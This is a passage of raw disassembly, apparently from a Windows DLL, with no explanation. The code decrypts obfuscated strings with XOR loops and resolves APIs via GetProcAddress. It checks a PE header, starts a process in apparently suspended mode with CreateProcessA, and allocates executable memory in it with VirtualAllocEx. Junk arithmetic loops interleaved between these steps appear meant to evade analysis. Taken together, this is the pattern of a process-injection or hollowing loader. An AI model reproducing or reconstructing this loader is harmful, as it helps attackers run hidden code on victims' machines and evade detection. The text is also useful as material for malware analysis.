psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [rsi + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x180003e70
cmp eax, 0x16
jge 0x18000407f
movsxd rax, esi
lea r10, [rbp + 0xe8]
add r10, rax
mov eax, 0x94f2095
imul esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx r9d, sil
sub r9b, cl
add r9b, 0x1f
add r9b, r9b
mov eax, 0x214d0215
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx edx, dl
imul r8d, edx, 0x7b
sub r9b, r8b
xor byte [r10], r9b
inc esi
lea r10, [r10 + 1]
cmp esi, 0x16
jl 0x180004031
lea rdx, [rbp + 0xe8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18000eb20
mov eax, r14d
jmp 0x180007c04
movups xmm0, xmmword [0x18001bfa0]
movups xmmword [rbp + 0x238], xmm0
movsd xmm0, qword [0x18001bfb0]
movsd qword [rbp + 0x248], xmm0
movzx eax, word [0x18001bfb8]
mov word [rbp + 0x250], ax
mov r15d, 4
lea r12d, [r15 + 0x1b]
mov r13d, dword [0x180022018]
cmp byte [0x18001bfb9], 0
je 0x180004360
mov r9d, esi
cmp r13d, 2
jl 0x1800042fd
movdqa xmm12, xmmword [0x18001c160]
movdqa xmm6, xmmword [0x18001c1a0]
mov eax, 2
movd xmm13, eax
movdqa xmm7, xmmword [0x18001c1e0]
movd xmm14, r15d
movdqa xmm15, xmmword [0x18001c180]
movd xmm11, r12d
movdqa xmm0, xmmword [0x18001c1b0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x238]
mov edx, dword [rsp + 0x60]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm12
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, xmm13
pmuldq xmm4, xmm7
pmuldq xmm1, xmm7
shufps xmm4, xmm1, 0xdd
psrad xmm4, xmm14
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmm15
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x18001c1f0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm12
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm13
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm14
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x18001c1f0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x180004140
cmp r9d, 0x1a
jge 0x180004360
movsxd rax, r9d
lea r10, [rbp + 0x238]
add r10, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx r8d, r9b
sub r8b, cl
add r8b, r12b
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1a
jl 0x180004310
lea rdx, [rbp + 0x238]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov rbx, qword [rbp - 0x68]
cmp dword [rbx], 0x4550
jne 0x180004954
movups xmm0, xmmword [0x18001c0a0]
movups xmmword [rbp + 0x2b8], xmm0
movups xmm1, xmmword [0x18001c0b0]
movups xmmword [rbp + 0x2c8], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x180004630
cmp r13d, 2
jl 0x1800045c7
movdqa xmm12, xmmword [0x18001c160]
mov edx, esi
movdqa xmm6, xmmword [0x18001c1a0]
mov edi, 2
movd xmm13, edi
movdqa xmm7, xmmword [0x18001c1e0]
movd xmm14, r15d
movdqa xmm15, xmmword [0x18001c180]
movd xmm11, r12d
movdqa xmm0, xmmword [0x18001c1b0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x2b8]
mov r8d, dword [rsp + 0x60]
nop dword [rax]
movd xmm5, edx
pshufd xmm5, xmm5, 0
paddd xmm5, xmm12
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, xmm13
pmuldq xmm4, xmm7
pmuldq xmm1, xmm7
shufps xmm4, xmm1, 0xdd
psrad xmm4, xmm14
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmm15
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x18001c1f0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm12
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm13
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm14
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x18001c1f0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x180004410
jmp 0x180004635
lea r10, [rbp + 0x2b8]
mov r9d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx r8d, r9b
sub r8b, cl
add r8b, r12b
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x20
jl 0x1800045e0
mov edi, 2
lea rax, [rbp + 0x328]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x570]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x2b8]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x18000495e
movups xmm0, xmmword [str.2_2_]
movups xmmword [rbp + 0xd0], xmm0
mov eax, dword [0x18001c088]
mov dword [rbp + 0xe0], eax
movzx eax, word [0x18001c08c]
mov word [rbp + 0xe4], ax
movzx eax, byte [0x18001c08e]
mov byte [rbp + 0xe6], al
cmp r13d, 2
jl 0x1800048c4
movdqa xmm9, xmmword [0x18001c160]
movdqa xmm6, xmmword [0x18001c1a0]
movd xmm10, edi
movdqa xmm7, xmmword [0x18001c1e0]
movd xmm11, r15d
movdqa xmm12, xmmword [0x18001c180]
movdqa xmm13, xmmword [0x18001c1f0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x18001c1b0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0xd0]
mov edx, dword [rsp + 0x60]
nop
movd xmm5, esi
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [rsi + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x180004710
cmp eax, 0x17
jge 0x18000491d
movsxd rax, esi
lea r9, [rbp + 0xd0]
add r9, rax
mov eax, 0x94f2095
imul esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx r8d, sil
sub r8b, cl
add r8b, r12b
add r8b, r8b
mov eax, 0x214d0215
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x7b
sub r8b, dl
xor byte [r9], r8b
inc esi
lea r9, [r9 + 1]
cmp esi, 0x17
jl 0x1800048d1
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18000eb20
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18000ecf0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x180007c04
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x40b0]
call fcn.18000d950
mov dword [rbp + 0x3b8], 0xffffff9c
mov dword [rbp + 0x3bc], 0x64
movaps xmm0, xmmword [0x18001c1c0]
movups xmmword [rbp + 0x478], xmm0
mov dword [rsp + 0x50], esi
movsd qword [rsp + 0x60], xmm8
lea rcx, [rbp + 0x140]
call fcn.180001a60
mov rax, qword [rbp + 0x140]
add rax, 0x5f5e100
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x420]
call fcn.180001df0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rsi
lea rcx, [rbp + 0x148]
call fcn.18000e6a0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rbp + 0x30], rcx
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x420]
call fcn.18000d880
nop
lea rcx, [rbp + 0x30]
call fcn.18000d860
nop
lea rcx, [rbp + 0x148]
call fcn.18000d860
lea rcx, [rbp + 0x150]
call fcn.18000e6d0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rbp + 0x38], rcx
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x420]
call fcn.18000d880
nop
lea rcx, [rbp + 0x38]
call fcn.18000d860
nop
lea rcx, [rbp + 0x150]
call fcn.18000d860
lea rcx, [rbp + 0x158]
call fcn.18000e700
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rbp + 0x40], rcx
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x420]
call fcn.18000d880
nop
lea rcx, [rbp + 0x40]
call fcn.18000d860
nop
lea rcx, [rbp + 0x158]
call fcn.18000d860
lea rcx, [rbp + 0x160]
call fcn.18000e730
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rbp + 0x48], rcx
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x420]
call fcn.18000d880
nop
lea rcx, [rbp + 0x48]
call fcn.18000d860
nop
lea rcx, [rbp + 0x160]
call fcn.18000d860
lea rcx, [rbp + 0x168]
call fcn.18000e760
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rbp + 0x50], rcx
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x420]
call fcn.18000d880
nop
lea rcx, [rbp + 0x50]
call fcn.18000d860
nop
lea rcx, [rbp + 0x168]
call fcn.18000d860
lea rcx, [rbp + 0x170]
call fcn.18000e790
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rbp + 0x58], rcx
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x420]
call fcn.18000d880
nop
lea rcx, [rbp + 0x58]
call fcn.18000d860
nop
lea rcx, [rbp + 0x170]
call fcn.18000d860
lea rcx, [rbp + 0x178]
call fcn.180001a60
mov rcx, rax
lea rdx, [rbp + 0x60]
call fcn.180001da0
movsd xmm7, qword [0x18001c118]
test al, al
jns 0x180004eb9
lea rax, [rbp + 0x3b8]
mov qword [rbp - 0x50], rax
lea rax, [rbp + 0x40b0]
mov qword [rbp - 0x48], rax
movaps xmm6, xmmword [rbp - 0x50]
xor r13d, r13d
mov esi, 0x186a0
nop dword [rax + rax]
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x3b8]
call fcn.18000e5d0
mov rbx, qword [rbp + 0x428]
sub rbx, qword [rbp + 0x420]
sar rbx, 3
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x3b8]
call fcn.18000e5d0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x420]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x3b8]
call fcn.18000e5d0
mov r8d, eax
mov edx, dword [rsp + 0x50]
mov rcx, rdi
call rbx
mov dword [rsp + 0x50], eax
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x478]
call fcn.18000e7c0
movaps xmm5, xmm0
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x478]
call fcn.18000e7c0
movaps xmm1, xmm5
call fcn.180001c70
movsd xmm1, qword [rsp + 0x60]
addsd xmm0, xmm1
movsd qword [rsp + 0x60], xmm0
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x478]
call fcn.18000e7c0
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x60]
subsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x478]
call fcn.18000e7c0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x60]
movsd qword [rsp + 0x60], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x530]
call fcn.18000dea0
nop
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x530]
call fcn.180001be0
lea rcx, [rbp + 0x4d8]
call fcn.180001df0
lea rcx, [rbp + 0x4d8]
call fcn.18000da00
nop
movdqa xmmword [rbp + 0x2f0], xmm6
lea r8, [rbp + 0x2f0]
mov rdx, qword [rbp + 0x4e0]
mov rcx, qword [rbp + 0x4d8]
call fcn.18000e840
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x4d8]
call fcn.180001cf0
mov rdx, qword [rbp + 0x4e0]
mov rcx, qword [rbp + 0x4d8]
call fcn.18000e8a0
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov dword [rsp + 0x50], ecx
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x3b8]
call fcn.18000e5d0
mov ebx, eax
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x3b8]
call fcn.18000e5d0
mov r8d, ebx
mov edx, eax
call fcn.180001dc0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
and eax, 0x80000001
jge 0x180004d87
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x3b8]
test eax, eax
jne 0x180004daa
call fcn.18000e5d0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x180004db9
call fcn.18000e5d0
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov dword [rsp + 0x50], ecx
mov edi, 5
nop
mov ebx, r13d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x3b8]
call fcn.18000e5d0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x478]
call fcn.18000e7c0
movsd xmm5, qword [rsp + 0x60]
addsd xmm0, xmm5
movsd qword [rsp + 0x60], xmm0
lea rdx, [rbp + 0x40b0]
test bl, 1
jne 0x180004e35
lea rcx, [rbp + 0x3b8]
call fcn.18000e5d0
mov ecx, dword [rsp + 0x50]
imul eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x180004e56
movsd xmm5, qword [rsp + 0x60]
lea rcx, [rbp + 0x478]
call fcn.18000e7c0
addsd xmm0, xmm10
divsd xmm5, xmm0
movsd qword [rsp + 0x60], xmm5
inc ebx
cmp ebx, 5
jl 0x180004dd0
sub rdi, 1
jne 0x180004dc0
lea rcx, [rbp + 0x4d8]
call fcn.18000d9a0
nop
lea rcx, [rbp + 0x530]
call fcn.18000de40
sub rsi, 1
jne 0x180004ba0
lea rcx, [rbp + 0x178]
call fcn.180001a60
mov rcx, rax
lea rdx, [rbp + 0x60]
call fcn.180001da0
test al, al
js 0x180004b93
mov r13d, dword [0x180022018]
mov rbx, qword [rbp - 0x68]
mov eax, dword [rsp + 0x50]
lea rcx, [rbp + 0x420]
call fcn.18000d8b0
lea rax, [rbp + 0x508]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rbp + 0x340]
xor edx, edx
mov rcx, qword [rbp + 0x328]
call r14
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rbp + 0x328]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x320], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x5440]
call fcn.18000d950
mov dword [rbp + 0x3c0], 0xffffff9c
mov dword [rbp + 0x3c4], 0x64
movaps xmm0, xmmword [0x18001c1c0]
movups xmmword [rbp + 0x468], xmm0
xor r14d, r14d
mov dword [rsp + 0x50], r14d
movsd qword [rsp + 0x60], xmm8
lea rcx, [rbp + 0x180]
call fcn.180001a60
mov rax, qword [rbp + 0x180]
add rax, 0x5f5e100
mov qword [rbp + 0x98], rax
lea rcx, [rbp + 0x408]
call fcn.180001df0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x408], xmm0
mov qword [rbp + 0x418], r14
lea rcx, [rbp + 0x188]
call fcn.18000e6a0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x68], rcx
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x408]
call fcn.18000d880
nop
lea rcx, [rbp + 0x68]
call fcn.18000d860
nop
lea rcx, [rbp + 0x188]
call fcn.18000d860
lea rcx, [rbp + 0x190]
call fcn.18000e6d0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x70], rcx
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x408]
call fcn.18000d880
nop
lea rcx, [rbp + 0x70]
call fcn.18000d860
nop
lea rcx, [rbp + 0x190]
call fcn.18000d860
lea rcx, [rbp + 0x198]
call fcn.18000e700
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x78], rcx
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x408]
call fcn.18000d880
nop
lea rcx, [rbp + 0x78]
call fcn.18000d860
nop
lea rcx, [rbp + 0x198]
call fcn.18000d860
lea rcx, [rbp + 0x1a0]
call fcn.18000e730
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x80], rcx
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x408]
call fcn.18000d880
nop
lea rcx, [rbp + 0x80]
call fcn.18000d860
nop
lea rcx, [rbp + 0x1a0]
call fcn.18000d860
lea rcx, [rbp + 0x1a8]
call fcn.18000e760
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x88], rcx
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x408]
call fcn.18000d880
nop
lea rcx, [rbp + 0x88]
call fcn.18000d860
nop
lea rcx, [rbp + 0x1a8]
call fcn.18000d860
lea rcx, [rbp + 0x1b0]
call fcn.18000e790
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x90], rcx
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x408]
call fcn.18000d880
nop
lea rcx, [rbp + 0x90]
call fcn.18000d860
nop
lea rcx, [rbp + 0x1b0]
call fcn.18000d860
lea rcx, [rbp + 0x1b8]
call fcn.180001a60
mov rcx, rax
lea rdx, [rbp + 0x98]
call fcn.180001da0
test al, al
jns 0x180005495
lea rax, [rbp + 0x3c0]
mov qword [rbp - 0x50], rax
lea rax, [rbp + 0x5440]
mov qword [rbp - 0x48], rax
movaps xmm6, xmmword [rbp - 0x50]
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x5440]
lea rcx, [rbp + 0x3c0]
call fcn.18000e5d0
mov rbx, qword [rbp + 0x410]
sub rbx, qword [rbp + 0x408]
sar rbx, 3
lea rdx, [rbp + 0x5440]
lea rcx, [rbp + 0x3c0]
call fcn.18000e5d0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x408]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x5440]
lea rcx, [rbp + 0x3c0]
